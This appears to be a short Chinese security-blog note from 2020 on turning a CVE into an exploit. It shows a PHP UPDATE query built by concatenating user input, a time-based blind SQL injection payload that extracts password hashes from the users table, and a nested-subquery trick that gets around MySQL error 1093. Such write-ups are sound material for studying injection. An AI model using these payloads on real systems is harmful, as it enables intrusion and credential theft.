Toc
0 results found
白帽酱
记一次mysql盲注遇到的问题
2020/08/15 笔记

前几天我把一个CVE写成EXP的时候遇到了一个问题
目标使用了直接拼接SQL语句的方法进行sql查询
而且使用的是UPDATE方法
sql_query("UPDATE users SET status = 'confirmed', editsecret = '' WHERE id IN (" . implode(", ", $_POST[conusr]) . ") AND status='pending'");
根据拼接的语句 我写出了这样的playload 准备读取数据库中用户表的密码hash
conusr[]=1) and if(ascii(mid((select group_concat(passhash) from users),%s,1))=%s,sleep(1),0)#
发现执行后报出错误
1093 - You can't specify target table 'users' for update in FROM clause
这里发生了一个非常巧的事情 刚好UPDATE操作的和要select操作的是同一张表
MYSQL不允许更新一张表的条件来自于查询这张表
解决方法:
在外面再套一层select
UPDATE users SET status = 'confirmed', editsecret = '' WHERE id IN (1) and if(ascii(mid((select * from (select group_concat(passhash) from users)as a),1,1))=1,sleep(1),0)#

本文作者:白帽酱
版权声明:本文首发于白帽酱的博客,转载请注明出处!